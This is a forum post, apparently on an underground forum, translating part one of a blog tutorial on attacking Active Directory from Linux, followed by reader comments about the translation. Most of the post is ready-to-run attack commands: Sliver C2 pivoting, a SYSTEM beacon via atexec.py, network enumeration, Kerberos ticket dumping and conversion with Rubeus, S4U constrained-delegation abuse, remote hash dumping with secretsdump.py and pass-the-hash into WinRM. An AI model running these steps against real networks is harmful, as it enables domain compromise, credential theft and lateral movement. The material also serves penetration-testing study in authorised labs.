What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Искусство взлома Active Directory с Linux (1 часть)

wesskibo

Light Weight
Депозит
$0
Первоисточник: https://gatari.dev/posts/the-art-of-exploiting-ad-from-linux/#what-if-i-have-no-credentials
Перевел: wesskibo специально для .is

ДИСКЛЕЙМЕР

Я не программист, а так же не разбираюсь в тех.части, потому перевод местами может быть не корректным. Не засоряйте тему исправлениями, отпишите в ПМ форума где есть ошибки, всем заранее спасибо!

Статья разделена на 2 части, так как я достиг ограничения по картинкам на форуме!
Вторая часть доступна по ссылке:
threads/125578/

Введение

За время работы в лабораториях по Active Directory и помощи друзьям с их лабами я понял одно: дебагать Windows — это просто жесть.

Почти нереально нагуглить ошибки, так как они либо слишком общие, либо уникальные для конкретной атаки, над которой работаешь, и зачастую сообщения об ошибках сбивают с толку. Плюс, команды, которые работают у меня, могут не работать у других. И надо учитывать много других моментов, таких как:

  • Есть ли у тебя активный тикет, привязанный к сессии? (проблема с Kerberos Double Hop)
  • Если тикета нет, есть ли у тебя учетные данные для обертки команд в объект PS Credential?
  • Ограничивает ли тебя PowerShell Constrained Language Mode (CLM)?
  • Ну, а klist purge точно очищает все тикеты, верно?



В этом посте я расскажу о причинах, почему атака на Active Directory с Linux, на мой взгляд, предпочтительнее, чем с Windows, а также приведу примеры, как это сделать.

Но почему?

Я заметил, что в большинстве случаев, когда у моих друзей возникали проблемы, я советовал перенести их тикеты на Linux и воспользоваться тамошними инструментами с флагом --debug. Ошибки, выдаваемые в этом окружении, обычно более информативны. Их легче гуглить, а так же на них не влияет нестабильность Windows.

«tools» — это Impacket suite, который в целом стабилен и хорошо поддерживается.
Нажмите, чтобы раскрыть...

Я считаю, что большую часть атак на Active Directory можно выполнить с Linux так же, как и с Windows, но с дополнительным преимуществом в виде упрощенной отладки.

Дисклеймер

Я не утверждаю, что атака с Linux — это лучший выбор для всех ситуаций. В конечном итоге, выбор инструментов остается за оператором, исходя из конкретной задачи.

Примеры, приведенные в этом посте, были выполнены в лабораторной среде, любезно предоставленной Altered Security для сертификации CRTE. Я получил письменное разрешение на использование скриншотов в этом посте при условии, что не раскрою никаких секретов лаборатории.
Нажмите, чтобы раскрыть...

Предпологаемое вторжение
Во многих случаях у вас уже может быть доступ к сети. Чаще всего это одна скомпрометированная учетная запись доменного пользователя и/или рабочая станция.
Первые шаги, которые вы можете предпринять:

  1. Идентификация и разрешение хостов (особенно контроллера домена)
    В частности, вам следует заполнить файл /etc/hosts IP-адресами хостов в сети; позже мы поймем, почему это важно.

  2. Запуск сборщиков Bloodhound

Идентификация и разрешение хостов

Имея доменную учетную запись с локальными административными правами на рабочей станции, мы можем легко идентифицировать контроллер домена, просто отправив ping на имя домена.

Код: Скопировать в буфер обмена
ping [domain_name]


Отправив ping, мы можем легко определить, что контроллер домена находится по адресу 192.168.1.2; поскольку это находится в другой подсети, нам потребуется использовать рабочую станцию как точку доступа для выхода на контроллер домена.

Pivoting с помощью Silver
Не буду углубляться в детали, но мы будем использовать Sliver в качестве нашего фреймворка C2 и осуществим пивотинг через рабочую станцию с использованием их inband socks-прокси.





Получив коллбэк, мы оказываемся с правами непривилегированного пользователя на рабочей станции. Чтобы получить маяк с правами SYSTEM, нам потребуется обойти UAC (Контроль учетных записей)



Но нам это делать лень, поэтому можем просто выполнить маяк с помощью atexec.py из Linux, который запускает команду с помощью планировщика задач удаленно (что происходит в контексте SYSTEM).

Код: Скопировать в буфер обмена
atexec.py [domain_name]/[username]:[password]@[workstation_ip] [command]



Теперь у нас есть маяк с правами SYSTEM на рабочей станции.



Чтобы проксировать все наши команды через рабочую станцию, нам нужно настроить inband socks-прокси.

Код: Скопировать в буфер обмена
sliver> socks5 start

Inband socks-прокси Sliver иногда может быть нестабилен для некоторых протоколов и стоит на порту 1081 по умолчанию на машине оператора. Не забудьте изменить файл /etc/proxychains4.conf, чтобы такого не было.

Разрешение контроллера домена


Теперь мы можем проверить, что можем взаимодействовать с контроллером домена через proxychains.

Код: Скопировать в буфер обмена
proxychains nxc smb [IP/FQDN] -u [username] -p [password]



Разрешение других хостов

Существует несколько способов разрешения других хостов в сети.

Умный и методичный подход заключается в том, чтобы составить список рабочих станций и серверов в сети, а затем разрешить их с помощью dig.
Ленивый способ — разрешить их, используя nmap для SMB-сканирования сети. Я покажу оба метода здесь.

Начнем с умного

Код: Скопировать в буфер обмена
proxychains nxc ldap [IP/FQDN] -u [username] -p [password] -M get-network -o ONLY_HOSTS=true



Это дает вам список всех хостов в сети



Вы можете разрешить их с помощью этой команды, но это занимает вечность, так что я бы лично не стал делать это таким образом :)

Код: Скопировать в буфер обмена
cat [list_of_targets] | while read domain; do proxychains dig @"[DC_IP]" "$domain"; done

Ленивый способ (нашенский)

Код: Скопировать в буфер обмена
proxychains nxc smb [IP/FQDN].0/24 -u [username] -p [password] --log [log_file]




Затем мы можем обработать вывод, чтобы извлечь IP-адреса и имена хостов в сети.

Код: Скопировать в буфер обмена
awk '/SMBv1:False)/{flag=1;next}/SMBv1:True)/{flag=0}flag' sweep.log | awk '{print $7, $9"."$11}' | sed 's/\\.*//'
Этот однострочник немного корявый и иногда выдает ошибки, если вывод не соответствует ожиданиям; будьте готовы его исправить.
Нажмите, чтобы раскрыть...



Если вы посмотрите внимательно, вы заметите аномалию: 192.168.1.56 US-MSSQL.Connection. Это SQL-сервер, и мы можем подтвердить это, подключившись к нему с помощью команды proxychains nxc mssql [IP/FQDN] -u [username] -p [password].



Bloodhound

Новички могут столкнуться с множеством проблем при удаленном запуске сборщиков Bloodhound, так как иногда это требует небольшого устранения неполадок.

Любопытный случай с Bloodhound-Python

Этот пример показывает, почему запуск инструментов с Linux — это одновременно и благо, и проклятие. Давайте попробуем запустить наш сборщик, не заполнив файл /etc/hosts, и посмотрим, что произойдет.

Код: Скопировать в буфер обмена
proxychains bloodhound-python -u [username] -p [password] -d [domain] -ns [DC_IP] -c all



На первый взгляд, можно предположить, что эта ошибка связана с тем, что файл /etc/hosts не заполнен, но ошибка сохраняется даже после добавления в него IP-адресов хостов в сети.
Нажмите, чтобы раскрыть...

Чтобы отладить эту проблему, нам придется заглянуть в исходный код и начать выводить некоторые переменные, чтобы понять, что происходит.

Код: Скопировать в буфер обмена
Code:
 File "/home/kali/.local/lib/python3.11/site-packages/dns/resolver.py", line 1321, in resolve
 timeout = self._compute_timeout(start, lifetime, resolution.errors)

Давайте посмотрим на исходный код и увидем что произойдет

Python: Скопировать в буфер обмена
Code:
def query(
 self,
 qname: Union[dns.name.Name, str],
 rdtype: Union[dns.rdatatype.RdataType, str] = dns.rdatatype.A,
 rdclass: Union[dns.rdataclass.RdataClass, str] = dns.rdataclass.IN,
 tcp: bool = False,
 source: Optional[str] = None,
 raise_on_no_answer: bool = True,
 source_port: int = 0,
 lifetime: Optional[float] = None,
) -> Answer: # pragma: no cover
 """Query nameservers to find the answer to the question.

 This method calls resolve() with ``search=True``, and is
 provided for backwards compatibility with prior versions of
 dnspython. See the documentation for the resolve() method for
 further details.
 """
 warnings.warn(
  "please use dns.resolver.Resolver.resolve() instead",
  DeprecationWarning,
  stacklevel=2,
 )
 
 print(f"\n[gatari] querying: {qname} {rdtype} {rdclass}")
 print(f"[gatari] using nameserver(s): {self.nameservers}")
 print(f"[gatari] using port: {self.port}")
 print(f"[gatari] using protocol: {'TCP' if tcp else 'UDP'}")
 print(f"[gatari] timeout: {self.timeout}\n")
 
 return self.resolve(
  qname,
  rdtype,
  rdclass,
  tcp,
  source,
  raise_on_no_answer,
  source_port,
  lifetime,
  True,
 )

После добавления отладочных операторов давайте снова запустим сборщик.

Код: Скопировать в буфер обмена
proxychains bloodhound-python -u [username] -p [password] -d [domain] -ns [DC_IP] -c all



Первое, что пришло мне в голову, — это то, что таймаут в 3 секунды слишком мал, учитывая, что мы запускаем сборщик через socks-прокси, который печально известен своей медлительностью. Поэтому я увеличил таймаут до 10 секунд с помощью параметра --dns-timeout 10.

Код: Скопировать в буфер обмена
proxychains bloodhound-python -u [username] -p [password] -d [domain] -ns [DC_IP] -c all --dns-timeout 10



Ошибка по-прежнему сохраняется. Следующее, что я заметил, — запрос использует UDP вместо TCP. Хотя протокол Socks5 поддерживает как TCP, так и UDP, реализация некоторых протоколов в Sliver может быть немного нестабильной. Давайте переключим его на использование TCP с параметром --dns-tcp (и уберем --dns-timeout 10, чтобы тестировать только одну переменную за раз).

Код: Скопировать в буфер обмена
proxychains bloodhound-python -u [username] -p [password] -d [domain] -ns [DC_IP] -c all --dns-tcp



Мы смогли пройти первый запрос, но ошибка все еще возникает. К счастью, я видел эту ошибку в PR на репозитории bloodhound-python: PR на BloodHound.py.

Если кратко: добавьте точку перед именем домена.

Код: Скопировать в буфер обмена
proxychains bloodhound-python -u [username] -p [password] -d [domain]. -ns [DC_IP] -c all --dns-tcp

И вот теперь мы, наконец, видим проблему, связанную с тем, что файл /etc/hosts не был заполнен.


После добавления в /etc/hosts IP-адресов хостов в сети мы можем успешно запустить сборщик.
Код: Скопировать в буфер обмена
proxychains bloodhound-python -u [username] -p [password] -d [domain]. -ns [DC_IP] -c all --dns-tcp



Когда я впервые использовал bloodhound-python, я увидел, что репозиторий:
  • Обновлялся недавно (2 месяца назад)
  • Почти 2000 звезд
Я предположил, что инструмент стабилен и хорошо поддерживается. Однако я быстро понял, что он не так стабилен, как я ожидал, и потребовал некоторой отладки, чтобы заставить его работать.

Хочу подчеркнуть, что мы не должны винить разработчиков инструмента — они делают это бесплатно и в свое личное время. Я чрезвычайно благодарен за их труд, и цель этого поста — показать реальность (включая сложные моменты) использования инструментов с Linux.

Альтернативные коллекторы RustHound

Другой сборщик, который мне нравится использовать, если bloodhound-python капризничает, — это RustHound. Он немного стабильнее и обычно работает быстрее других сборщиков.

Код: Скопировать в буфер обмена
proxychains rusthound -u [username] -p [password] -d [domain]



И он сразу заработал без каких-либо проблем!

Что делать, если у меня нет учетных данных?


Я хотел бы сделать небольшое отступление, чтобы обсудить ваши варианты, если у вас есть доступ к рабочей станции с учетной записью пользователя без прав администратора, и у вас нет учетных данных для этой учетной записи. Вы можете оказаться в такой ситуации после компрометации веб-сервера или SQL-сервера, когда у вас есть реверс-шелл.

Первое, что стоит проверить, — это наличие кэшированных Kerberos-тикетов в вашей текущей сессии входа. Вы можете проверить это с помощью klist, Rubeus.exe triage или Rubeus.exe klist. Я предпочитаю Rubeus.exe triage, так как учетные записи служб, как правило, имеют много тикетов, и смотреть на это довольно неприятно.




Вот как должен выглядеть ваш вывод, если вы находитесь с учетной записью без прав администратора, так как вы не сможете увидеть другие сессии входа.

Теперь мы можем извлечь свои собственные тикеты с помощью Rubeus.exe dump и использовать их удаленно.



Ваш вывод должен выглядеть примерно так



В качестве альтернативы вы можете использовать Rubeus.exe tgtdeleg, чтобы получить пригодный тикет для вашей текущей учетной записи без необходимости повышения привилегий.




Взаимодействие между Windows и Linux


Тикеты можно легко переносить между Windows (.kirbi) и Linux (.ccache), что позволяет использовать оба операционных системы. Ссылаясь на тикеты, которые мы получили ранее с помощью tgtdeleg, мы можем преобразовать их в формат, пригодный для использования в Linux.

Общие шаги следующие:
  1. Если тикет закодирован в base64 (из Rubeus), декодируйте его с помощью команды:
    Код: Скопировать в буфер обмена
    echo [base64] | base64 -d > ticket.kirbi
  2. Преобразуйте тикет в формат, который можно использовать в Linux, с помощью:
    Код: Скопировать в буфер обмена
    ticketConverter.py ticket.kirbi ticket.ccache
  3. Экспортируйте переменную окружения KRB5CCNAME, чтобы указать на тикет:
    Код: Скопировать в буфер обмена
    export KRB5CCNAME=/path/to/ticket.ccache
  4. Запустите ваши инструменты (Impacket) с параметрами -k -no-pass, чтобы указать, что вы хотите использовать кеш для аутентификации.



Затем мы можем использовать его с netexec, экспортировав тикет и запустив его с параметром --use-kcache (обратите внимание, что этот флаг может отличаться в разных инструментах).

Код: Скопировать в буфер обмена
export KRB5CCNAME=... && nxc smb ... --use-kcache



Зеленый плюсик указывает на то, что мы успешно аутентифицировались с помощью тикета.

Проведение атак

Теперь, когда мы знаем, как переносить наши тикеты из Windows в Linux, мы можем начать выполнять атаки удаленно в сети.

Будет мало или вовсе не будет объяснений специфики выполняемых атак; понимание атаки — это задача для читателя. Кроме того, я рекомендую пройти курсы CRTP и CRTE от Altered Security.

В этом посте мы рассмотрим только одну атаку: злоупотребление ограниченной делегацией на контролируемом принципале.

Ограниченная делегация

После анализа собранных данных BloodHound мы видим этот узел:



Это указывает на то, что у appsvc@us.techcorp.local установлен атрибут msds-AllowedToDelegateTo, который ссылается на US-MSSQL.us.techcorp.local. Это означает, что appsvc имеет право действовать от имени доменного пользователя для сервиса на US-MSSQL.

Мы можем увидеть SPN, к которому мы можем делегировать права, в свойствах узла BloodHound.



Или мы можем перечислить его с помощью findDelegation.py на Linux:

Код: Скопировать в буфер обмена
proxychains findDelegation.py [domain]/[username]:[password]



Мы видим, что appsvc имеет право делегировать доступ к CIFS/US-MSSQL.us.techcorp.local, что является крайне разрешительной делегацией.

Смотрите: HackTricks - Silver Ticket

Для демонстрации предположим, что мы компрометировали учетную запись appsvc и получили ее NTLM-хеш.

Windows -> Linux

Сначала мы проведем атаку из Windows, так как это, вероятно, будет более знакомо большинству читателей.

Код: Скопировать в буфер обмена
execute-assembly Rubeus.exe s4u /msdsspn:[delegated_spn] /domain:[domain] /user:[user] /rc4:[ntlm hash] /impersonateuser:[user_with_local_admin] /ptt

Не забудьте проверить, имеет ли ваш /impersonateuser локальные права администратора на целевой машине и не защищен ли от делегации.



Атака прошла безупречно, теперь давайте посмотрим, как мы можем передать этот тикет для использования в Linux (например, secretsdump.py для удаленной выгрузки хешей).

Во-первых, нам нужно, чтобы тикет был в формате, который легко скопировать и вставить в Linux; мы можем сделать это с помощью флага /nowrap, и, конечно, уберем флаг /ptt.

Код: Скопировать в буфер обмена
execute-assembly Rubeus.exe s4u /msdsspn:[delegated_spn] /domain:[domain] /user:[user] /rc4:[ntlm hash] /impersonateuser:[user_with_local_admin] /nowrap



Аналогично предыдущему, мы можем применить тот же трюк, чтобы преобразовать тикет в формат, пригодный для использования в Linux.

Код: Скопировать в буфер обмена
echo "[b64_ticket]" | base64 -d > ticket.kirbi && ticketConverter.py ticket.kirbi ticket.ccache && export KRB5CCNAME=ticket.ccache



И, конечно, мы можем проверить, что тикет пригоден для использования с nxc.

Код: Скопировать в буфер обмена
nxc smb [IP/FQDN] --use-kcache



Мы также можем использовать describeTicket.py, чтобы визуализировать содержимое нашего тикета, и вы увидите, что у нас есть тикет, который подходит для сервиса CIFS на US-MSSQL. Однако это означает, что мы не сможем использовать WinRM.

Код: Скопировать в буфер обмена
describeTicket.py ticket.ccache



Мы можем использовать флаг altservice, чтобы запросить тикет для сервиса HTTP, который подходит для WinRM.

Код: Скопировать в буфер обмена
execute-assembly Rubeus.exe s4u /msdsspn:[delegated_spn] /domain:[domain] /user:[user] /rc4:[ntlm hash] /impersonateuser:[user_with_local_admin] /altservice:HTTP /nowrap

Теперь тикет подходит для HTTP-сервиса на US-MSSQL, что включает в себя WinRM.



В качестве альтернативы вы также можете использовать свой CIFS-тикет для выгрузки хешей на целевой машине с помощью secretsdump.py, а затем использовать хеш локального администратора для входа через WinRM.

Код: Скопировать в буфер обмена
proxychains secretsdump.py -k -no-pass [TARGET_FQDN]



Теперь мы можем провести Pass-the-Hash (PTH) этого хеша в WinRM с помощью evil-winrm или nxc winrm.

Код: Скопировать в буфер обмена
Code:
proxychains nxc winrm [IP/FQDN] -u [username] -H [hash] --local-auth
proxychains evil-winrm -i [IP/FQDN] -u [username] -H [hash]




Продолжение статьи: threads/125578/

Вложения​

  • 1729896148064.png
    1729896148064.png
    130.5 КБ · Просмотры: 1
  • 1729896200326.png
    1729896200326.png
    28.3 КБ · Просмотры: 0
  • 1729896308422.png
    1729896308422.png
    23.5 КБ · Просмотры: 1
  • 1729896379964.png
    1729896379964.png
    42.3 КБ · Просмотры: 1
  • 1729896645458.png
    1729896645458.png
    128.3 КБ · Просмотры: 1
  • 1729896795429.png
    1729896795429.png
    179.6 КБ · Просмотры: 1
  • 1729896809863.png
    1729896809863.png
    112.7 КБ · Просмотры: 1
  • 1729896876893.png
    1729896876893.png
    58.2 КБ · Просмотры: 1
  • 1729897024610.png
    1729897024610.png
    66.4 КБ · Просмотры: 1
  • 1729936385081.png
    1729936385081.png
    124.8 КБ · Просмотры: 2
  • 1729936505487.png
    1729936505487.png
    79.4 КБ · Просмотры: 2
  • 1729936632170.png
    1729936632170.png
    45 КБ · Просмотры: 2
  • 1729936655877.png
    1729936655877.png
    54 КБ · Просмотры: 3
 
Автор извини, но видно что ты ниразу не работал с ad. Очень тяжело читать этот перевод, еще эта излишняя разноцветная прыгающая разметка и большие пробелы между строками. Оригинал гораздо легче читается, пентестеры которым это интересно и так знают английский
 
xakep64 сказал(а):
Автор извини, но видно что ты ниразу не работал с ad. Очень тяжело читать этот перевод, еще эта излишняя разноцветная прыгающая разметка и большие пробелы между строками. Оригинал гораздо легче читается, пентестеры которым это интересно и так знают английский
Нажмите, чтобы раскрыть...
Автору респект, уделил личное время. Назовем так, я пентестер и мне интересно, но я не знаю английского или вы привате, все на разговорном сидите.
Но сюда по твоему нику, нам очень далеко до тебя, как пентестера с английским)
 
xakep64 сказал(а):
Автор извини, но видно что ты ниразу не работал с ad. Очень тяжело читать этот перевод, еще эта излишняя разноцветная прыгающая разметка и большие пробелы между строками. Оригинал гораздо легче читается, пентестеры которым это интересно и так знают английский
Нажмите, чтобы раскрыть...
Как я упоминал в дисклеймере: я не программист, термины гуглил, но как они называются на жаргоне — не знаю.

Зачем пентестеру, который знает английский, было читать этот перевод?
 
wesskibo, у вас изображения потерялись или продублировались и сохранились в аттачи. Отредактируйте их, плз.
 
Top